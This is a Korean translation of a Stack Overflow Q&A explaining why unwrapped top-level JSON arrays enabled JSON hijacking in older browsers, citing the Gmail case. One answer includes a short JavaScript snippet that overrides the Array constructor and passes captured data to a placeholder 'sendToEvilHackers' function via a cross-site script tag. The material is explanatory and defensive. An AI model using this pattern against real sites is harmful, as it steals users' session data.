Development Tip

"최상위 JSON 어레이"란 무엇이며 보안 위험이있는 이유는 무엇입니까?

yourdevel 2020. 11. 15. 11:50
반응형

"최상위 JSON 어레이"란 무엇이며 보안 위험이있는 이유는 무엇입니까?


아래 비디오에서 시간 마커 21:40에 Microsoft PDC 발표자는 모든 JSON을 래핑하여 최상위 배열이 아닌 것이 중요하다고 말합니다.

https://channel9.msdn.com/Events/PDC/PDC09/FT12

래핑되지 않은 최상위 어레이의 위험은 무엇입니까?

취약한 지 어떻게 확인하고 확인해야합니까? 타사에서 많은 구성 요소를 구입하고 내 코드를 개발하는 외부 공급 업체가 있습니다.


이것은 몇 년 전 Jeremiah Grossman이 gmail에 영향을 미치는 매우 흥미로운 취약점을 발견했기 때문 입니다. 어떤 사람들은 분석 할 수없는 크래프트 를 사용하여이 취약점을 해결했습니다 (이 페이지에있는 Bobince 씨의 기술적 설명은 환상적입니다).

Microsoft가 이에 대해 이야기하는 이유는 브라우저를 아직 패치하지 않았기 때문입니다. ( 편집 : Edge 및 IE 10/11의 최신 버전이이 문제를 해결했습니다.) Mozilla는이 문제를 json 사양의 취약점으로 간주하여 Firefox 3 에서 패치했습니다 . 기록을 위해 나는 Mozilla에 전적으로 동의하며, 불행히도 각 웹 앱 개발자는이 매우 모호한 취약점으로부터 스스로를 방어해야 할 것입니다.


Array () 생성자를 재정의 할 수 있기 때문이라고 생각합니다. 그러나이 문제는 어레이에만 국한되지 않습니다.

공격 (또는 가능한 한 가지 방법)은 다음과 같습니다.

function Array(n) {
  var self = this;
  setTimeout(function() {
    sendToEvilHackers(self);
  }, 10);
  return this;
}

브라우저 (또는 일부 브라우저)는 [n, n, n]배열 표기법에 해당 생성자를 사용합니다 . 따라서 은행에 열려있는 세션을 이용할 수있는 CSRF 공격은로 알려진 JSON URL을 맞았 <script>을 가져 태그 다음 당신이 소유하고 있습니다.

참고 URL : https://stackoverflow.com/questions/3503102/what-are-top-level-json-arrays-and-why-are-they-a-security-risk

반응형